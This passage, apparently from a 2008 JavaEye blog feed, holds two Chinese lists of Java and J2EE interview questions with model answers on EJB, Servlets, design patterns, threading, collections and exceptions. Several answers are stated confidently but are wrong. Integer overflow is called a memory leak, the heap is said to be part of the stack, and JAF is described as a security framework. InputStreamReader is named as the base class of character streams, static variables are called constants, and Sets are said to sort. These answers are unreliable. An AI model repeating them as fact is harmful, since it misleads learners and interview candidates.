Pattern：实现异步调用<br />EJB Command Pattern：使用Command JavaBeans取代SessionBean，实现轻量级访问<br />Data Transfer Object Factory：通过DTO Factory简化EntityBean数据提供特性<br />Generic Attribute Access：通过AttibuteAccess接口简化EntityBean数据提供特性<br />Business Interface：通过远程（本地）接口和Bean类实现相同接口规范业务逻辑一致性<br />ＥＪＢ架构的设计好坏将直接影响系统的性能、可扩展性、可维护性、组件可重用性及开发效率。项目越复杂，项目队伍越庞大则越能体现良好设计的重要性。<br /><br />90、说说在weblogic中开发消息Bean时的persistent与non-persisten的差别<br />　　persistent方式的MDB可以保证消息传递的可靠性,也就是如果EJB容器出现问题而JMS服务器依然会将消息在此MDB可用的时候发送过来，而non－persistent方式的消息将被丢弃。<br /><br />91、Servlet执行时一般实现哪几个方法？<br />public void init(ServletConfig config)<br />public ServletConfig getServletConfig()<br />public String getServletInfo()<br />public void service(ServletRequest request,ServletResponse response)<br />public void destroy()<br /><br />92、j2ee常用的设计模式？说明工厂模式。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Java中的23种设计模式：<br />Factory（工厂模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Builder（建造模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Factory Method（工厂方法模式），<br />Prototype（原始模型模式），Singleton（单例模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Facade（门面模式），<br />Adapter（适配器模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bridge（桥梁模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Composite（合成模式），<br />Decorator（装饰模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Flyweight（享元模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proxy（代理模式），<br />Command（命令模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Interpreter（解释器模式）， Visitor（访问者模式），<br />Iterator（迭代子模式），&nbsp;&nbsp;&nbsp; Mediator（调停者模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Memento（备忘录模式），<br />Observer（观察者模式），&nbsp;&nbsp;&nbsp; State（状态模式），&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Strategy（策略模式），<br />Template Method（模板方法模式）， Chain Of Responsibleity（责任链模式）<br />工厂模式：工厂模式是一种经常被使用到的模式，根据工厂模式实现的类可以根据提供的数据生成一组类中某一个类的实例，通常这一组类有一个公共的抽象父类并且实现了相同的方法，但是这些方法针对不同的数据进行了不同的操作。首先需要定义一个基类，该类的子类通过不同的方法实现了基类中的方法。然后需要定义一个工厂类，工厂类可以根据条件生成不同的子类实例。当得到子类的实例后，开发人员可以调用基类中的方法而不必考虑到底返回的是哪一个子类的实例。<br /><br />93、EJB需直接实现它的业务接口或Home接口吗，请简述理由。<br />　远程接口和Home接口不需要直接实现，他们的实现代码是由服务器产生的，程序运行中对应实现类会作为对应接口类型的实例被使用。 <br />94、排序都有哪几种方法？请列举。用JAVA实现一个快速排序。<br />&nbsp;&nbsp;&nbsp; 排序的方法有：插入排序（直接插入排序、希尔排序），交换排序（冒泡排序、快速排序），选择排序（直接选择排序、堆排序），归并排序，分配排序（箱排序、基数排序）<br />快速排序的伪代码。<br />/ /使用快速排序方法对a[ 0 :n- 1 ]排序<br />从a[ 0 :n- 1 ]中选择一个元素作为m i d d l e，该元素为支点<br />把余下的元素分割为两段left 和r i g h t，使得l e f t中的元素都小于等于支点，而right 中的元素都大于等于支点<br />递归地使用快速排序方法对left 进行排序<br />递归地使用快速排序方法对right 进行排序<br />所得结果为l e f t + m i d d l e + r i g h t<br /><br />95、请对以下在J2EE中常用的名词进行解释(或简单描述)<br />web 容器：给处于其中的应用程序组件（JSP，SERVLET）提供一个环境，使JSP,SERVLET直接更容器中的环境变量接口交互，不必关注其它系统问题。主要有WEB服务器来实现。例如：TOMCAT,WEBLOGIC,WEBSPHERE等。该容器提供的接口严格遵守J2EE规范中的 WEBAPPLICATION 标准。我们把遵守以上标准的WEB服务器就叫做J2EE中的WEB容器。<br />EJB容器：Enterprise java bean容器。更具有行业领域特色。他提供给运行在其中的组件EJB各种管理功能。只要满足J2EE规范的EJB放入该容器，马上就会被容器进行高效率的管理。并且可以通过现成的接口来获得系统级别的服务。例如邮件服务、事务管理。<br />JNDI：（Java Naming &amp; Directory Interface）JAVA命名目录服务。主要提供的功能是：提供一个目录系统，让其它各地的应用程序在其上面留下自己的索引，从而满足快速查找和定位分布式应用程序的功能。<br />JMS：（Java Message Service）JAVA消息服务。主要实现各个应用程序之间的通讯。包括点对点和广播。<br />JTA：（Java Transaction API）JAVA事务服务。提供各种分布式事务服务。应用程序只需调用其提供的接口即可。<br />JAF：（Java Action FrameWork）JAVA安全认证框架。提供一些安全控制方面的框架。让开发者通过各种部署和自定义实现自己的个性安全控制策略。<br />RMI/IIOP: （Remote Method Invocation/internet对象请求中介协议）他们主要用于通过远程调用服务。例如，远程有一台计算机上运行一个程序，它提供股票分析服务，我们可以在本地计算机上实现对其直接调用。当然这是要通过一定的规范才能在异构的系统之间进行通信。RMI是JAVA特有的。<br /><br />96、JAVA语言如何进行异常处理，关键字：throws,throw,try,catch,finally分别代表什么意义？在try块中可以抛出异常吗？<br />　　Java通过面向对象的方法进行异常处理，把各种不同的异常进行分类，并提供了良好的接口。在Java中，每个异常都是一个对象，它是 Throwable类或其它子类的实例。当一个方法出现异常后便抛出一个异常对象，该对象中包含有异常信息，调用这个对象的方法可以捕获到这个异常并进行处理。Java的异常处理是通过5个关键词来实现的：try、catch、throw、throws和finally。一般情况下是用try来执行一段程序，如果出现异常，系统会抛出（throws）一个异常，这时候你可以通过它的类型来捕捉（catch）它，或最后（finally）由缺省处理器来处理。<br />用try来指定一块预防所有"异常"的程序。紧跟在try程序后面，应包含一个catch子句来指定你想要捕捉的"异常"的类型。<br />throw语句用来明确地抛出一个"异常"。<br />throws用来标明一个成员函数可能抛出的各种"异常"。<br />Finally为确保一段代码不管发生什么"异常"都被执行一段代码。<br />可以在一个成员函数调用的外面写一个try语句，在这个成员函数内部写另一个try语句保护其他代码。每当遇到一个try语句，"异常"的框架就放到堆栈上面，直到所有的try语句都完成。如果下一级的try语句没有对某种"异常"进行处理，堆栈就会展开，直到遇到有处理这种"异常"的try语句。<br /><br />97、一个".java"源文件中是否可以包括多个类（不是内部类）？有什么限制？<br />可以。必须只有一个类名与文件名相同。<br /><br />98、MVC的各个部分都有那些技术来实现?如何实现?<br />MVC 是Model－View－Controller的简写。"Model" 代表的是应用的业务逻辑（通过JavaBean，EJB组件实现），"View" 是应用的表示面（由JSP页面产生），"Controller"是提供应用的处理过程控制（一般是一个Servlet），通过这种设计模型把应用逻辑，处理过程和显示逻辑分成不同的组件实现。这些组件可以进行交互和重用。<br /><br />99、java中有几种方法可以实现一个线程？用什么关键字修饰同步方法? stop()和suspend()方法为何不推荐使用？<br />有两种实现方法，分别是继承Thread类与实现Runnable接口<br />用synchronized关键字修饰同步方法<br />反对使用stop()，是因为它不安全。它会解除由线程获取的所有锁定，而且如果对象处于一种不连贯状态，那么其他线程能在那种状态下检查和修改它们。结果很难检查出真正的问题所在。suspend()方法容易发生死锁。调用suspend()的时候，目标线程会停下来，但却仍然持有在这之前获得的锁定。此时，其他任何线程都不能访问锁定的资源，除非被"挂起"的线程恢复运行。对任何线程来说，如果它们想恢复目标线程，同时又试图使用任何一个锁定的资源，就会造成死锁。所以不应该使用suspend()，而应在自己的Thread类中置入一个标志，指出线程应该活动还是挂起。若标志指出线程应该挂起，便用 wait()命其进入等待状态。若标志指出线程应当恢复，则用一个notify()重新启动线程。<br /><br />100、java中有几种类型的流？JDK为每种类型的流提供了一些抽象类以供继承，请说出他们分别是哪些类？<br />　字节流，字符流。字节流继承于InputStream OutputStream，字符流继承于InputStreamReader OutputStreamWriter。在java.io包中还有许多其他的流，主要是为了提高性能和使用方便。<br /><br />101、java中会存在内存泄漏吗，请简单描述。<br />会。如：int i,i2;&nbsp; return (i-i2);&nbsp;&nbsp;&nbsp; //when i为足够大的正数,i2为足够大的负数。结果会造成溢位，导致错误。<br /><br />102、java中实现多态的机制是什么？<br />　　方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现，重载Overloading是一个类中多态性的一种表现。<br /><br />103、垃圾回收器的基本原理是什么？垃圾回收器可以马上回收内存吗？有什么办法主动通知虚拟机进行垃圾回收？<br />　　对于GC来说，当程序员创建对象时，GC就开始监控这个对象的地址、大小以及使用情况。通常，GC采用有向图的方式记录和管理堆(heap)中的所有对象。通过这种方式确定哪些对象是"可达的"，哪些对象是"不可达的"。当GC确定一些对象为"不可达"时，GC就有责任回收这些内存空间。可以。程序员可以手动执行System.gc()，通知GC运行，但是Java语言规范并不保证GC一定会执行。<br /><br />104、静态变量和实例变量的区别？<br />static i = 10; //常量<br />&nbsp;&nbsp;&nbsp; class A a;&nbsp; a.i =10;//可变<br /><br />105、什么是java序列化，如何实现java序列化？<br />　　序列化就是一种用来处理对象流的机制，所谓对象流也就是将对象的内容进行流化。可以对流化后的对象进行读写操作，也可将流化后的对象传输于网络之间。序列化是为了解决在对对象流进行读写操作时所引发的问题。<br />　　序列化的实现：将需要被序列化的类实现Serializable接口，该接口没有需要实现的方法，implementsSerializable只是为了标注该对象是可被序列化的，然后使用一个输出流(如：FileOutputStream)来构造一个ObjectOutputStream(对象流)对象，接着，使用ObjectOutputStream对象的writeObject(Objectobj)方法就可以将参数为obj的对象写出(即保存其状态)，要恢复的话则用输入流。<br /><br />106、是否可以从一个static方法内部发出对非static方法的调用？<br />不可以,如果其中包含对象的method()；不能保证对象初始化.<br /><br />107、写clone()方法时，通常都有一行代码，是什么？<br />Clone 有缺省行为，super.clone();他负责产生正确大小的空间，并逐位复制。<br /><br />108、在JAVA中，如何跳出当前的多重嵌套循环？<br />用break; return 方法。<br /><br />109、List、Map、Set三个接口，存取元素时，各有什么特点？<br />List 以特定次序来持有元素，可有重复元素。Set 无法拥有重复元素,内部排序。Map 保存key-value值，value可多值。<br />110、J2EE是什么？<br />　　J2EE是Sun公司提出的多层(multi-diered),分布式(distributed),基于组件(component-base)的企业级应用模型(enterpriese applicationmodel).在这样的一个应用系统中，可按照功能划分为不同的组件，这些组件又可在不同计算机上，并且处于相应的层次 (tier)中。所属层次包括客户层(clietn tier)组件,web层和组件,Business层和组件,企业信息系统(EIS)层。<br /><br />111、UML方面<br />标准建模语言UML。用例图,静态图(包括类图、对象图和包图),行为图,交互图(顺序图,合作图),实现图。<br /><br />112、说出一些常用的类，包，接口，请各举5个<br />常用的类：BufferedReader&nbsp; BufferedWriter&nbsp; FileReader&nbsp; FileWirter&nbsp; String&nbsp; Integer<br />常用的包：java.lang&nbsp; java.awt&nbsp; java.io&nbsp; java.util&nbsp; java.sql<br />常用的接口：Remote&nbsp; List&nbsp; Map&nbsp; Document&nbsp; NodeList<br /><br />113、开发中都用到了那些设计模式?用在什么场合?<br />每个模式都描述了一个在我们的环境中不断出现的问题，然后描述了该问题的解决方案的核心。通过这种方式，你可以无数次地使用那些已有的解决方案，无需在重复相同的工作。主要用到了MVC的设计模式。用来开发JSP/Servlet或者J2EE的相关应用。简单工厂模式等。<br /><br />114、jsp有哪些动作?作用分别是什么?<br />　　JSP 共有以下6种基本动作 jsp:include：在页面被请求的时候引入一个文件。jsp:useBean：寻找或者实例化一个JavaBean。 jsp:setProperty：设置JavaBean的属性。jsp:getProperty：输出某个JavaBean的属性。 jsp:forward：把请求转到一个新的页面。jsp:plugin：根据浏览器类型为Java插件生成OBJECT或EMBED标记。<br /><br />115、Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类，是否可以implements(实现)interface(接口)?<br />可以继承其他类或完成其他接口，在swing编程中常用此方式。<br /><br />116、应用服务器与WEB SERVER的区别？<br />应用服务器：Weblogic、Tomcat、Jboss<br />WEB SERVER：IIS、 Apache<br /><br />117、BS与CS的联系与区别。<br />　　C/S是Client/Server的缩写。服务器通常采用高性能的PC、工作站或小型机，并采用大型数据库系统，如Oracle、Sybase、Informix或 SQL Server。客户端需要安装专用的客户端软件。<br />　　B/Ｓ是Brower/Server的缩写，客户机上只要安装一个浏览器（Browser），如NetscapeNavigator或Internet Explorer，服务器安装Oracle、Sybase、Informix或 SQLServer等数据库。在这种结构下，用户界面完全通过WWW浏览器实现，一部分事务逻辑在前端实现，但是主要事务逻辑在服务器端实现。浏览器通过ＷebServer 同数据库进行数据交互。<br />C/S 与 B/S 区别：<br />１．硬件环境不同:<br />　　C/S 一般建立在专用的网络上, 小范围里的网络环境, 局域网之间再通过专门服务器提供连接和数据交换服务.<br />　　B/S 建立在广域网之上的, 不必是专门的网络硬件环境,例与电话上网, 租用设备. 信息自己管理. 有比C/S更强的适应范围, 一般只要有操作系统和浏览器就行<br />２．对安全要求不同<br />　　C/S 一般面向相对固定的用户群, 对信息安全的控制能力很强. 一般高度机密的信息系统采用C/S 结构适宜. 可以通过B/S发布部分可公开信息.<br />　　B/S 建立在广域网之上, 对安全的控制能力相对弱, 可能面向不可知的用户。<br />３．对程序架构不同<br />　　C/S 程序可以更加注重流程, 可以对权限多层次校验, 对系统运行速度可以较少考虑.<br />　　B/S 对安全以及访问速度的多重的考虑, 建立在需要更加优化的基础之上. 比C/S有更高的要求 B/S结构的程序架构是发展的趋势,从MS的.Net系列的BizTalk 2000 Exchange 2000等, 全面支持网络的构件搭建的系统. SUN和IBM推的JavaBean 构件技术等,使 B/S更加成熟.<br />４．软件重用不同<br />　　C/S 程序可以不可避免的整体性考虑, 构件的重用性不如在B/S要求下的构件的重用性好.<br />　　B/S 对的多重结构,要求构件相对独立的功能. 能够相对较好的重用.就入买来的餐桌可以再利用,而不是做在墙上的石头桌子<br />５．系统维护不同 <br />　　C/S 程序由于整体性, 必须整体考察, 处理出现的问题以及系统升级. 升级难. 可能是再做一个全新的系统<br />　　B/S 构件组成,方面构件个别的更换,实现系统的无缝升级. 系统维护开销减到最小.用户从网上自己下载安装就可以实现升级.<br />６．处理问题不同<br />　　C/S 程序可以处理用户面固定, 并且在相同区域, 安全要求高需求, 与操作系统相关. 应该都是相同的系统<br />　　B/S 建立在广域网上, 面向不同的用户群, 分散地域, 这是C/S无法作到的. 与操作系统平台关系最小.<br />７．用户接口不同<br />　　C/S 多是建立的Window平台上,表现方法有限,对程序员普遍要求较高<br />　　B/S 建立在浏览器上, 有更加丰富和生动的表现方式与用户交流. 并且大部分难度减低,减低开发成本.<br />８．信息流不同<br />　　C/S 程序一般是典型的中央集权的机械式处理, 交互性相对低<br />　　B/S 信息流向可变化, B-B B-C B-G等信息、流向的变化, 更像交易中心。<br /><br />118、LINUX下线程，GDI类的解释。<br />　　LINUX实现的就是基于核心轻量级进程的"一对一"线程模型，一个线程实体对应一个核心轻量级进程，而线程之间的管理在核外函数库中实现。<br />GDI类为图像设备编程接口类库。<br /><br />119、STRUTS的应用(如STRUTS架构)<br />　　Struts 是采用Java Servlet/JavaServerPages技术，开发Web应用程序的开放源码的framework。采用Struts能开发出基于 MVC(Model-View-Controller)设计模式的应用构架。 Struts有如下的主要功能：一.包含一个controllerservlet，能将用户的请求发送到相应的Action对象。二.JSP自由tag 库，并且在controllerservlet中提供关联支持，帮助开发员创建交互式表单应用。三.提供了一系列实用对象：XML处理、通过Java reflectionAPIs自动处理JavaBeans属性、国际化的提示和消息。<br /><br />120、Jdo是什么?<br />　　JDO 是Java对象持久化的新的规范，为java dataobject的简称,也是一个用于存取某种数据仓库中的对象的标准化API。JDO提供了透明的对象存储，因此对开发人员来说，存储数据对象完全不需要额外的代码（如JDBCAPI的使用）。这些繁琐的例行工作已经转移到JDO产品提供商身上，使开发人员解脱出来，从而集中时间和精力在业务逻辑上。另外，JDO很灵活，因为它可以在任何数据底层上运行。JDBC只是面向关系数据库（RDBMS）JDO更通用，提供到任何数据底层的存储功能，比如关系数据库、文件、XML以及对象数据库（ODBMS）等等，使得应用可移植性更强。<br /><br />121、内部类可以引用他包含类的成员吗？有没有什么限制？<br />一个内部类对象可以访问创建它的外部类对象的内容<br /><br />122、WEB SERVICE名词解释。JSWDL开发包的介绍。JAXP、JAXM的解释。SOAP、UDDI,WSDL解释。<br />　　Web ServiceWeb Service是基于网络的、分布式的模块化组件，它执行特定的任务，遵守具体的技术规范，这些规范使得Web Service能与其他兼容的组件进行互操作。<br />　　JAXP(Java API for XML Parsing) 定义了在Java中使用DOM, SAX, XSLT的通用的接口。这样在你的程序中你只要使用这些通用的接口，当你需要改变具体的实现时候也不需要修改代码。<br />　　JAXM(Java API for XML Messaging) 是为SOAP通信提供访问方法和传输机制的API。<br />　　WSDL是一种 XML 格式，用于将网络服务描述为一组端点，这些端点对包含面向文档信息或面向过程信息的消息进行操作。这种格式首先对操作和消息进行抽象描述，然后将其绑定到具体的网络协议和消息格式上以定义端点。相关的具体端点即组合成为抽象端点（服务）。<br />　　SOAP即简单对象访问协议(Simple Object Access Protocol)，它是用于交换XML编码信息的轻量级协议。<br />　　UDDI 的目的是为电子商务建立标准；UDDI是一套基于Web的、分布式的、为Web Service提供的、信息注册中心的实现标准规范，同时也包含一组使企业能将自身提供的Web Service注册，以使别的企业能够发现的访问协议的实现标准。<br /><br />123、设计4个线程，其中两个线程每次对j增加1，另外两个线程对j每次减少1。写出程序。<br />以下程序使用内部类实现线程，对j增减的时候没有考虑顺序问题。<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />public class ThreadTest1{<br />&nbsp; private int j;<br />&nbsp; public static void main(String args[]){<br />ThreadTest1 tt=new ThreadTest1();<br />Inc inc=tt.new Inc();<br />Dec dec=tt.new Dec();<br />for(int i=0;i&lt;2;i++){<br />Thread t=new Thread(inc);<br />t.start();<br />t=new Thread(dec);<br />t.start();<br />}<br />}<br />&nbsp; private synchronized void inc(){<br />j++;<br />System.out.println(Thread.currentThread().getName()+"-inc:"+j);<br />&nbsp; }<br />&nbsp; private synchronized void dec(){<br />j--;<br />System.out.println(Thread.currentThread().getName()+"-dec:"+j);<br />&nbsp; }<br />&nbsp; class Inc implements Runnable{<br />public void run(){<br />for(int i=0;i&lt;100;i++){<br />inc();<br />}<br />}<br />&nbsp; }<br />&nbsp; class Dec implements Runnable{<br />public void run(){<br />for(int i=0;i&lt;100;i++){<br />dec();<br />}<br />}<br />&nbsp; }<br />}<br /><br />124、Java有没有goto?<br />java中的保留字，现在没有在java中使用。<br /><br />125、启动一个线程是用run()还是start()?<br />　　启动一个线程是调用start()方法，使线程所代表的虚拟处理机处于可运行状态，这意味着它可以由JVM调度并执行。这并不意味着线程就会立即运行。run()方法可以产生必须退出的标志来停止一个线程。
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        <pubDate>Tue, 25 Mar 2008 15:42:21 +0800</pubDate>
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        <title>常见的java问题1</title>
        <author>sunwinds1900</author>
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          作者: <a href="http://sunwinds1900.javaeye.com">sunwinds1900</a>&nbsp;
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          发表时间: 2008年03月25日
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          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
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          1.抽象：<br />　　抽象就是忽略一个主题中与当前目标无关的那些方面，以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题，而只是选择其中的一部分，暂时不用部分细节。抽象包括两个方面，一是过程抽象，二是数据抽象。<br /><br />2.继承：<br />　　继承是一种联结类的层次模型，并且允许和鼓励类的重用，它提供了一种明确表述共性的方法。对象的一个新类可以从现有的类中派生，这个过程称为类继承。新类继承了原始类的特性，新类称为原始类的派生类（子类），而原始类称为新类的基类（父类）。派生类可以从它的基类那里继承方法和实例变量，并且类可以修改或增加新的方法使之更适合特殊的需要。<br /><br />3.封装：<br />　　封装是把过程和数据包围起来，对数据的访问只能通过已定义的界面。面向对象计算始于这个基本概念，即现实世界可以被描绘成一系列完全自治、封装的对象，这些对象通过一个受保护的接口访问其他对象。<br /><br />4. 多态性：<br />　　多态性是指允许不同类的对象对同一消息作出响应。多态性包括参数化多态性和包含多态性。多态性语言具有灵活、抽象、行为共享、代码共享的优势，很好的解决了应用程序函数同名问题。<br /><br />5、String是最基本的数据类型吗?<br />　　基本数据类型包括byte、int、char、long、float、double、boolean和short。<br />　　java.lang.String类是final类型的，因此不可以继承这个类、不能修改这个类。为了提高效率节省空间，我们应该用StringBuffer类<br /><br />6、int 和 Integer 有什么区别<br />　　Java 提供两种不同的类型：引用类型和原始类型（或内置类型）。Int是java的原始数据类型，Integer是java为int提供的封装类。Java为每个原始类型提供了封装类。<br />原始类型&nbsp;&nbsp;&nbsp; 封装类<br />boolean&nbsp;&nbsp;&nbsp; Boolean<br />char&nbsp;&nbsp;&nbsp; Character<br />byte&nbsp;&nbsp;&nbsp; Byte<br />short&nbsp;&nbsp;&nbsp; Short<br />int&nbsp;&nbsp;&nbsp; Integer<br />long&nbsp;&nbsp;&nbsp; Long<br />float&nbsp;&nbsp;&nbsp; Float<br />double&nbsp;&nbsp;&nbsp; Double<br />　　引用类型和原始类型的行为完全不同，并且它们具有不同的语义。引用类型和原始类型具有不同的特征和用法，它们包括：大小和速度问题，这种类型以哪种类型的数据结构存储，当引用类型和原始类型用作某个类的实例数据时所指定的缺省值。对象引用实例变量的缺省值为 null，而原始类型实例变量的缺省值与它们的类型有关。<br /><br />7、String 和StringBuffer的区别<br />　　JAVA平台提供了两个类：String和StringBuffer，它们可以储存和操作字符串，即包含多个字符的字符数据。这个String类提供了数值不可改变的字符串。而这个StringBuffer类提供的字符串进行修改。当你知道字符数据要改变的时候你就可以使用StringBuffer。典型地，你可以使用 StringBuffers来动态构造字符数据。<br /><br />8、运行时异常与一般异常有何异同？<br />　　异常表示程序运行过程中可能出现的非正常状态，运行时异常表示虚拟机的通常操作中可能遇到的异常，是一种常见运行错误。java编译器要求方法必须声明抛出可能发生的非运行时异常，但是并不要求必须声明抛出未被捕获的运行时异常。<br /><br />9、说出Servlet的生命周期，并说出Servlet和CGI的区别。<br />　　Servlet被服务器实例化后，容器运行其init方法，请求到达时运行其service方法，service方法自动派遣运行与请求对应的doXXX方法（doGet，doPost）等，当服务器决定将实例销毁的时候调用其destroy方法。<br />与cgi的区别在于servlet处于服务器进程中，它通过多线程方式运行其service方法，一个实例可以服务于多个请求，并且其实例一般不会销毁，而CGI对每个请求都产生新的进程，服务完成后就销毁，所以效率上低于servlet。<br /><br />10、说出ArrayList,Vector, LinkedList的存储性能和特性<br />　　ArrayList 和Vector都是使用数组方式存储数据，此数组元素数大于实际存储的数据以便增加和插入元素，它们都允许直接按序号索引元素，但是插入元素要涉及数组元素移动等内存操作，所以索引数据快而插入数据慢，Vector由于使用了synchronized方法（线程安全），通常性能上较ArrayList差，而LinkedList使用双向链表实现存储，按序号索引数据需要进行前向或后向遍历，但是插入数据时只需要记录本项的前后项即可，所以插入速度较快。<br /><br />11、EJB是基于哪些技术实现的？并说出SessionBean和EntityBean的区别，StatefulBean和StatelessBean的区别。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EJB包括Session Bean、Entity Bean、Message Driven Bean，基于JNDI、RMI、JAT等技术实现。<br />SessionBean在J2EE应用程序中被用来完成一些服务器端的业务操作，例如访问数据库、调用其他EJB组件。EntityBean被用来代表应用系统中用到的数据。<br />　　对于客户机，SessionBean是一种非持久性对象，它实现某些在服务器上运行的业务逻辑。<br />　　对于客户机，EntityBean是一种持久性对象，它代表一个存储在持久性存储器中的实体的对象视图，或是一个由现有企业应用程序实现的实体。<br />　　Session Bean 还可以再细分为 Stateful Session Bean 与 Stateless Session Bean ，这两种的 Session Bean都可以将系统逻辑放在 method之中执行，不同的是 Stateful Session Bean 可以记录呼叫者的状态，因此通常来说，一个使用者会有一个相对应的 Stateful Session Bean 的实体。Stateless Session Bean 虽然也是逻辑组件，但是他却不负责记录使用者状态，也就是说当使用者呼叫 Stateless Session Bean 的时候，EJB Container 并不会找寻特定的 Stateless Session Bean 的实体来执行这个 method。换言之，很可能数个使用者在执行某个 Stateless Session Bean 的 methods 时，会是同一个 Bean 的 Instance 在执行。从内存方面来看， Stateful Session Bean 与 Stateless Session Bean 比较， Stateful Session Bean 会消耗 J2EE Server 较多的内存，然而 Stateful Session Bean 的优势却在于他可以维持使用者的状态。<br /><br />12、Collection 和 Collections的区别。<br />　　Collection是集合类的上级接口，继承与他的接口主要有Set 和List.<br />Collections是针对集合类的一个帮助类，他提供一系列静态方法实现对各种集合的搜索、排序、线程安全化等操作。<br /><br />13、&amp;和&amp;&amp;的区别。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;是位运算符，表示按位与运算，&amp;&amp;是逻辑运算符，表示逻辑与（and）。<br /><br />14、HashMap和Hashtable的区别。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HashMap是Hashtable的轻量级实现（非线程安全的实现），他们都完成了Map接口，主要区别在于HashMap允许空（null）键值（key）,由于非线程安全，效率上可能高于Hashtable。<br />HashMap允许将null作为一个entry的key或者value，而Hashtable不允许。<br />HashMap把Hashtable的contains方法去掉了，改成containsvalue和containsKey。因为contains方法容易让人引起误解。<br />Hashtable继承自Dictionary类，而HashMap是Java1.2引进的Map interface的一个实现。<br />最大的不同是，Hashtable的方法是Synchronize的，而HashMap不是，在多个线程访问Hashtable时，不需要自己为它的方法实现同步，而HashMap 就必须为之提供外同步。<br />Hashtable和HashMap采用的hash/rehash算法都大概一样，所以性能不会有很大的差异。<br /><br />15、final, finally, finalize的区别。<br />　　final 用于声明属性，方法和类，分别表示属性不可变，方法不可覆盖，类不可继承。<br />finally是异常处理语句结构的一部分，表示总是执行。<br />finalize是Object类的一个方法，在垃圾收集器执行的时候会调用被回收对象的此方法，可以覆盖此方法提供垃圾收集时的其他资源回收，例如关闭文件等。<br /><br />16、sleep() 和 wait() 有什么区别?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sleep是线程类（Thread）的方法，导致此线程暂停执行指定时间，给执行机会给其他线程，但是监控状态依然保持，到时后会自动恢复。调用sleep不会释放对象锁。<br />wait是Object类的方法，对此对象调用wait方法导致本线程放弃对象锁，进入等待此对象的等待锁定池，只有针对此对象发出notify方法（或notifyAll）后本线程才进入对象锁定池准备获得对象锁进入运行状态。<br /><br />17、Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型?<br />　　方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现，重载Overloading是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数，我们说该方法被重写 (Overriding)。子类的对象使用这个方法时，将调用子类中的定义，对它而言，父类中的定义如同被"屏蔽"了。如果在一个类中定义了多个同名的方法，它们或有不同的参数个数或有不同的参数类型，则称为方法的重载(Overloading)。Overloaded的方法是可以改变返回值的类型。<br /><br />18、error和exception有什么区别?<br />　　error 表示恢复不是不可能但很困难的情况下的一种严重问题。比如说内存溢出。不可能指望程序能处理这样的情况。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exception 表示一种设计或实现问题。也就是说，它表示如果程序运行正常，从不会发生的情况。<br /><br />19、同步和异步有何异同，在什么情况下分别使用他们？举例说明。<br />　　如果数据将在线程间共享。例如正在写的数据以后可能被另一个线程读到，或者正在读的数据可能已经被另一个线程写过了，那么这些数据就是共享数据，必须进行同步存取。<br />当应用程序在对象上调用了一个需要花费很长时间来执行的方法，并且不希望让程序等待方法的返回时，就应该使用异步编程，在很多情况下采用异步途径往往更有效率。<br /><br />20、abstract class和interface有什么区别?<br />　　声明方法的存在而不去实现它的类被叫做抽象类（abstract class），它用于要创建一个体现某些基本行为的类，并为该类声明方法，但不能在该类中实现该类的情况。不能创建abstract 类的实例。然而可以创建一个变量，其类型是一个抽象类，并让它指向具体子类的一个实例。不能有抽象构造函数或抽象静态方法。Abstract 类的子类为它们父类中的所有抽象方法提供实现，否则它们也是抽象类为。取而代之，在子类中实现该方法。知道其行为的其它类可以在类中实现这些方法。<br />　　接口（interface）是抽象类的变体。在接口中，所有方法都是抽象的。多继承性可通过实现这样的接口而获得。接口中的所有方法都是抽象的，没有一个有程序体。接口只可以定义static final成员变量。接口的实现与子类相似，除了该实现类不能从接口定义中继承行为。当类实现特殊接口时，它定义（即将程序体给予）所有这种接口的方法。然后，它可以在实现了该接口的类的任何对象上调用接口的方法。由于有抽象类，它允许使用接口名作为引用变量的类型。通常的动态联编将生效。引用可以转换到接口类型或从接口类型转换，instanceof 运算符可以用来决定某对象的类是否实现了接口。<br /><br />21、heap和stack有什么区别。<br />　　栈是一种线形集合，其添加和删除元素的操作应在同一段完成。栈按照后进先出的方式进行处理。<br />堆是栈的一个组成元素<br /><br />22、forward 和redirect的区别<br />　　forward是服务器请求资源，服务器直接访问目标地址的URL，把那个URL的响应内容读取过来，然后把这些内容再发给浏览器，浏览器根本不知道服务器发送的内容是从哪儿来的，所以它的地址栏中还是原来的地址。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; redirect就是服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址，一般来说浏览器会用刚才请求的所有参数重新请求，所以session,request参数都可以获取。<br /><br />23、EJB与JAVA BEAN的区别？<br />　　Java Bean 是可复用的组件，对Java Bean并没有严格的规范，理论上讲，任何一个Java类都可以是一个Bean。但通常情况下，由于Java Bean是被容器所创建（如Tomcat）的，所以Java Bean应具有一个无参的构造器，另外，通常Java Bean还要实现Serializable接口用于实现Bean的持久性。Java Bean实际上相当于微软COM模型中的本地进程内COM组件，它是不能被跨进程访问的。Enterprise Java Bean 